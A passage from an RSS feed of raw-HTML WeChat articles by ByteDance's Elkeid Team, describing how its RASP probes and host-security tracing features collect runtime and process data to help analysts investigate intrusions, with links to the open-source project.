0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 18px;">RASP获取数据辅助判断</span></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">Elkeid-RASP 是 Elkeid CWPP 的重要组成部分，RASP 允许安全人员植入探针，在应用运行时（Application Runtime）完成数据采集以对抗应用安全风险。在当前的例子中，入口服务为业务自行维护的对外 API，本身并没有部署 RASP 进行防护，但需要进一步判断入口时，可以复用 Elkeid 数据和指令流，无需准备即可立刻下发探针，完成对运行时敏感函数的 Hook。Hook 点位在运行时，不会侵入业务代码，仅仅需要知道服务所在进程 ID 即可完成部署，并很快获取数据上报，对业务本身进程无影响。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">在这个例子中，RASP 获取到的数据可以整合成如下的知识图，可以看到对相同漏洞利用、RASP 上报数据中会形成完全一致的调用链条哈希，这种哈希会在实时事件归并中体现，并协助安全人员判断业务逻辑漏洞类型。安全分析师在事后追溯和调查取证中，也可以从RASP数据直观了解攻击的影响面，包括攻击者横向访问过的机器列表、以及通过漏洞下载的敏感文件等重要信息，进而协助业务进行针对性的信息更新和漏洞修复。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><section powered-by="xiumi.us" style="margin: 8px 0px 18px;padding: 0px 0.5em;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 645px;border-width: 4px;border-style: solid;border-color: white;box-shadow: rgb(102, 102, 102) 3.5px 3.5px 8px;display: inline-block;line-height: 0;height: auto !important;"><img class="rich_pages wxw-img" data-ratio="0.4990741" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 637px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d4584f61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBAk5ocPnJTJle8r0ucwEkjHMuCIl8x3JibFbLKOfAyb1fibqFoUP6DRkVQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">有的同学也许会问，如果业务无法现场修复漏洞，应该如何处理？这不用担心，Elkeid 已经为相关场景构建了应对能力，这个谜底在Elkeid V1.9.1 即将揭晓。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 20px;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">四、后记</strong></span></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">Elkeid 目前已为部署在火山引擎之上的客户提供了公有云安全能力，同时也在互联网与制造业的诸多大型企业中提供私有化部署服务。Elkeid 的端上能力与配套的后端调度服务均已开源，我们欢迎感兴趣的个人和团体加入讨论组，一起推进全网整体安全水位。</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">Elkeid 开源版本项目地址：</strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://github.com/bytedance/Elkeid" target="_blank">https://github.com/bytedance/Elkeid</a></strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">讨论组：</strong></p><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 462.695px;height: auto;"><img class="rich_pages wxw-img" data-ratio="1.1314815" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 462.695px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dc010d36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgAcolpf06WogNamiaOATbojTCzibauoyBApMfPsoThibicuz5bcE5khiaWh2PTZeNDERibJfV5nwWzPYqSNzObC7O7gg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">联系我们：</strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">elkeid@bytedance.com</p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(56, 52, 52);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.5px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/></p></section><p><br/></p>



<p><a href="2247484329">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f48540fb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484329%26idx%3D1%26sn%3D01657cfc40b9247103ccc11b3610b8f6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 14 Jul 2022 16:53:00 +0800</pubDate>
    </item>
    <item>
      <title>对于主机安全产品而言溯源究竟有多重要？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484272&amp;idx=1&amp;sn=2a21721554b327630e3d92fd7a2415c5</link>
      <description>Elkeid 企业版溯源能力介绍</description>
      <content:encoded><![CDATA[<p>
原创 <span>Elkeid Team</span> <span>2022-05-12 16:29</span> <span style="display: inline-block;">北京</span>
</p>

<p>Elkeid 企业版溯源能力介绍</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c8cc3645&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7dBJhx9NU3WfD4C51ia72ibRKFUufnTY2nWXW2bIGKPTIX0ddwsX1ethA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="">1. 何为溯源？</p></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><p>当主机侧安全产品发现异常行为时，安全运营人员往往需要更多上下文来判断这次事件的可能来源，影响程度，以及侵入者还有什么其他行为（侵入者可能仅有小部分行为被入侵检测系统发现异常）如：</p><ul start="1" class="list-paddingleft-1"><li style="font-weight: bold;"><p><strong>除了该告警，还有什么其他行为？</strong></p></li></ul><ul start="1" class="list-paddingleft-1"><li style="font-weight: bold;"><p><strong>入侵的来源是什么？最早失陷的主机是？什么时间？</strong></p></li></ul><ul start="1" class="list-paddingleft-1"><li style="font-weight: bold;"><p><strong>还有多少资产受到影响？</strong></p></li><li style="font-weight: bold;"><p><strong>如何有效止损与环境恢复？是否在隐蔽的地方实现了驻留？</strong></p></li></ul><ul start="1" class="list-paddingleft-1"></ul><p><br/></p><p>主机层的安全事件想要回答这些问题，如果仅借助告警本身以及登陆受害机器通过如 History 等日志进行排查首先可能存在日志已经被清理的问题，其次很多行为其实也并不会被记录。</p><p><br/></p><h2><br mpa-from-tpl="t"/></h2><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="">2. Elkeid 的解决方案</p></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><p>Elkeid 具备强大的数据采集能力，对于<strong>进程创建，文件创建，主动监听端口，主动对外发起连接，</strong><strong>DNS</strong><strong>请求，权限变更为Root</strong>等都可以记录并传递到后端进行行为分析，并且可以很好的捕获<strong>容器</strong><strong>内行为</strong>与<strong>短进程，短连接</strong>等行为。</p><p>具体采集能力如下：</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;rootId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;parentId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;blockIds&#34;:[15,19,22],&#34;recordIds&#34;:[&#34;doxcn88GOc8Wik2y2oJcDtxY6ae&#34;,&#34;doxcnsUuUqMO4ikAQm22DmLSVxg&#34;,&#34;doxcnS0smaIIaAygUuge2rsL2if&#34;],&#34;recordMap&#34;:{&#34;doxcn88GOc8Wik2y2oJcDtxY6ae&#34;:{&#34;id&#34;:&#34;doxcn88GOc8Wik2y2oJcDtxY6ae&#34;,&#34;snapshot&#34;:{&#34;parent_id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;type&#34;:&#34;heading2&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 的解决方案&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+6*1+6&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;8507952c-3265-4fe9-9d68-ba2298e7f926\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:2}},&#34;folded&#34;:false}},&#34;doxcnsUuUqMO4ikAQm22DmLSVxg&#34;:{&#34;id&#34;:&#34;doxcnsUuUqMO4ikAQm22DmLSVxg&#34;,&#34;snapshot&#34;:{&#34;parent_id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;type&#34;:&#34;text&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 具备强大的数据采集能力，对于进程创建，文件创建，主动监听端口，主动对外发起连接，DNS请求，权限变更为Root等都可以记录并传递到后端进行行为分析，并且可以很好的捕获容器内行为与短进程，短连接等行为。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+6*1+f*1*2+q*3*1*2+3*1*2+c*1+s*4*1*2+2*1*2+3*1+1*1*2+7*1+4&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;0c187091-7a3c-4b26-9402-ab256dca5683\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;2&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;3&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;ef17c719-34f0-47c9-a0b6-5f512e71ccc7\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_35630522\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;4&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;0b328cf3-1ca6-489a-9998-23144ea6da0e\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7075314978315583492\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]},&#34;nextNum&#34;:5}},&#34;folded&#34;:false}},&#34;doxcnS0smaIIaAygUuge2rsL2if&#34;:{&#34;id&#34;:&#34;doxcnS0smaIIaAygUuge2rsL2if&#34;,&#34;snapshot&#34;:{&#34;parent_id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;type&#34;:&#34;text&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;具体采集能力如下：&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;folded&#34;:false}},&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;:{&#34;id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnUWG2iGYYS4ac4DUdgxq8Ug&#34;,&#34;doxcnWqcQa4aYYKWmEhoW8Ypm5e&#34;,&#34;doxcn2GYowwwIsEUQegkXaRYLge&#34;,&#34;doxcnAcUmmIYQAwq8C8NCeMo1Ef&#34;,&#34;doxcnyCw6qcg888AW2d4w8wuWIf&#34;,&#34;doxcngEM86gK8Q2C2QnzXnwBvGc&#34;,&#34;doxcny0OyKGis8Ey8wbV0HX8jof&#34;,&#34;doxcn08SGMy244QQgUTA1dhRglc&#34;,&#34;doxcn88GOc8Wik2y2oJcDtxY6ae&#34;,&#34;doxcnsUuUqMO4ikAQm22DmLSVxg&#34;,&#34;doxcnS0smaIIaAygUuge2rsL2if&#34;,&#34;doxcnE6GQmq2e66csgzDk1BqqId&#34;,&#34;doxcnkmckyya0iac6kbsAcxZWcd&#34;,&#34;doxcnmI6q2wo2uwYeUDHBOX6UQc&#34;,&#34;doxcnWSo20qWgUmGMkFFnptLgIh&#34;,&#34;doxcnmo0sAKAgokCEUhAXF62a8g&#34;,&#34;doxcnm40si6EguE2SmmvGhvHBPe&#34;,&#34;doxcnmmwsIkOyqks8WMTZaRtGyh&#34;,&#34;doxcnoM8I0W8w0Y2yQHQUxajLfg&#34;,&#34;doxcnEI4kICWIkuygU3WmKevfXc&#34;,&#34;doxcnYc6ywSqOIESCIuXoT0dgoc&#34;,&#34;doxcn2u6EGGaS6oSuc79ftq8mbd&#34;,&#34;doxcniucOkeEIYa0CqMrRSvOP2c&#34;,&#34;doxcnsCoOYgq6ou6IeA4Mnn256g&#34;,&#34;doxcnGoIMU04oeU2ogdq67aQHEg&#34;,&#34;doxcnQg6WQAWOwKKe4HaLN2jPVg&#34;,&#34;doxcn4MUIC2iKyqKSUDBarFsVOh&#34;,&#34;doxcn88sucMuAEksQKQ2ZibpiIh&#34;,&#34;doxcnYKWS2yGgOCQcC4Vhfrrrzf&#34;,&#34;doxcnQIyU6QQUuICa6vYnvIh12b&#34;,&#34;doxcnIQWKW84KsmYYwRkRFikN1f&#34;,&#34;doxcnOGe2mky0m266k1e0TF8pif&#34;,&#34;doxcnSiISM8Y4O6q0WK4B5NliYf&#34;,&#34;doxcn8YwWCcGIm8SobR380NrXxp&#34;,&#34;doxcnWqWa8MeCwyWsy7CzOPdT7C&#34;,&#34;doxcnaiMcyyAEuQqEWItjSIoMab&#34;,&#34;doxcna0oGi6KsMMq0iWs1fSRXud&#34;,&#34;doxcnwQAO0Is2iuyE0EidBosM9b&#34;,&#34;doxcnM2esww8imOMs0q3P6Z7Zod&#34;,&#34;doxcnMKkGW0YSWIiOgRuBD9IQGd&#34;,&#34;doxcn22mqUYUiu4MWIzCOYThDHg&#34;,&#34;doxcnOsAQe4YO4akWkdDeqGynEb&#34;,&#34;doxcn8488Iyi6y0yG46dmIEVyyc&#34;,&#34;doxcnSawqGGmy2SIAFRBPSNW2qs&#34;,&#34;doxcnCSMiaqyEwIwESc4HByPdsd&#34;],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;对于主机安全产品而言溯源究竟有多重要？&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+j&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;align&#34;:&#34;&#34;}}},&#34;payloadMap&#34;:{&#34;doxcnsUuUqMO4ikAQm22DmLSVxg&#34;:{&#34;level&#34;:1},&#34;doxcnS0smaIIaAygUuge2rsL2if&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;pasteFlag&#34;:&#34;d8e1b7e5-f3bb-4282-bf54-de7a6089dfcc&#34;}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.903125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f955f89c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzNcTynic8Zy7lpOz7rcVBs7YoQgZkiaDzZbYnniaqCNhUIBAK4wr0uTWAy0ia4lcibU38fl5kzRzAwDSA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;"><em>(灰色为默认关闭的采集项)</em></span></p><p><span style="font-size: 15px;"><em><br/></em></span></p><p>目前 Elkeid HUB 自身在不依赖外部存储系统的情况下可以实现2-8小时的原始数据存储，并支持<strong>秒级溯源查询</strong>。因此当 Elkeid 告警产生后，Elkeid 会通过告警数据与原始数据互相关联并<strong>持续更新溯源数据</strong>，从而帮助安全运营人员更好的理解告警的上下文。</p><p>例一：</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;rootId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;parentId&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;blockIds&#34;:[27,33],&#34;recordIds&#34;:[&#34;doxcnWSo20qWgUmGMkFFnptLgIh&#34;,&#34;doxcnmo0sAKAgokCEUhAXF62a8g&#34;],&#34;recordMap&#34;:{&#34;doxcnWSo20qWgUmGMkFFnptLgIh&#34;:{&#34;id&#34;:&#34;doxcnWSo20qWgUmGMkFFnptLgIh&#34;,&#34;snapshot&#34;:{&#34;parent_id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;type&#34;:&#34;text&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;目前 Elkeid HUB 自身在不依赖外部存储系统的情况下可以实现2-8小时的原始数据存储，并支持秒级溯源查询。因此当 Elkeid 告警产生后，Elkeid 会通过告警数据与原始数据互相关联并持续更新溯源数据，从而帮助安全运营人员更好的理解告警的上下文。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3*1*0+6*0+3c&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;1ad588f2-dc61-4a58-83fd-f2c5107f7378\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]},&#34;nextNum&#34;:2}},&#34;folded&#34;:false}},&#34;doxcnmo0sAKAgokCEUhAXF62a8g&#34;:{&#34;id&#34;:&#34;doxcnmo0sAKAgokCEUhAXF62a8g&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;例一：&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]},&#34;nextNum&#34;:1}},&#34;folded&#34;:false,&#34;parent_id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;align&#34;:&#34;&#34;}},&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;:{&#34;id&#34;:&#34;doxcnl5rCPu0nRNMWxCuHYTavjf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnUWG2iGYYS4ac4DUdgxq8Ug&#34;,&#34;doxcnWqcQa4aYYKWmEhoW8Ypm5e&#34;,&#34;doxcn2GYowwwIsEUQegkXaRYLge&#34;,&#34;doxcnAcUmmIYQAwq8C8NCeMo1Ef&#34;,&#34;doxcnyCw6qcg888AW2d4w8wuWIf&#34;,&#34;doxcngEM86gK8Q2C2QnzXnwBvGc&#34;,&#34;doxcny0OyKGis8Ey8wbV0HX8jof&#34;,&#34;doxcn08SGMy244QQgUTA1dhRglc&#34;,&#34;doxcn88GOc8Wik2y2oJcDtxY6ae&#34;,&#34;doxcnsUuUqMO4ikAQm22DmLSVxg&#34;,&#34;doxcnS0smaIIaAygUuge2rsL2if&#34;,&#34;doxcnE6GQmq2e66csgzDk1BqqId&#34;,&#34;doxcnkmckyya0iac6kbsAcxZWcd&#34;,&#34;doxcnmI6q2wo2uwYeUDHBOX6UQc&#34;,&#34;doxcnWSo20qWgUmGMkFFnptLgIh&#34;,&#34;doxcnmo0sAKAgokCEUhAXF62a8g&#34;,&#34;doxcnm40si6EguE2SmmvGhvHBPe&#34;,&#34;doxcnmmwsIkOyqks8WMTZaRtGyh&#34;,&#34;doxcnoM8I0W8w0Y2yQHQUxajLfg&#34;,&#34;doxcnEI4kICWIkuygU3WmKevfXc&#34;,&#34;doxcnYc6ywSqOIESCIuXoT0dgoc&#34;,&#34;doxcn2u6EGGaS6oSuc79ftq8mbd&#34;,&#34;doxcniucOkeEIYa0CqMrRSvOP2c&#34;,&#34;doxcnsCoOYgq6ou6IeA4Mnn256g&#34;,&#34;doxcnGoIMU04oeU2ogdq67aQHEg&#34;,&#34;doxcnQg6WQAWOwKKe4HaLN2jPVg&#34;,&#34;doxcn4MUIC2iKyqKSUDBarFsVOh&#34;,&#34;doxcn88sucMuAEksQKQ2ZibpiIh&#34;,&#34;doxcnYKWS2yGgOCQcC4Vhfrrrzf&#34;,&#34;doxcnQIyU6QQUuICa6vYnvIh12b&#34;,&#34;doxcnIQWKW84KsmYYwRkRFikN1f&#34;,&#34;doxcnOGe2mky0m266k1e0TF8pif&#34;,&#34;doxcnSiISM8Y4O6q0WK4B5NliYf&#34;,&#34;doxcn8YwWCcGIm8SobR380NrXxp&#34;,&#34;doxcnWqWa8MeCwyWsy7CzOPdT7C&#34;,&#34;doxcnaiMcyyAEuQqEWItjSIoMab&#34;,&#34;doxcna0oGi6KsMMq0iWs1fSRXud&#34;,&#34;doxcnwQAO0Is2iuyE0EidBosM9b&#34;,&#34;doxcnM2esww8imOMs0q3P6Z7Zod&#34;,&#34;doxcnMKkGW0YSWIiOgRuBD9IQGd&#34;,&#34;doxcn22mqUYUiu4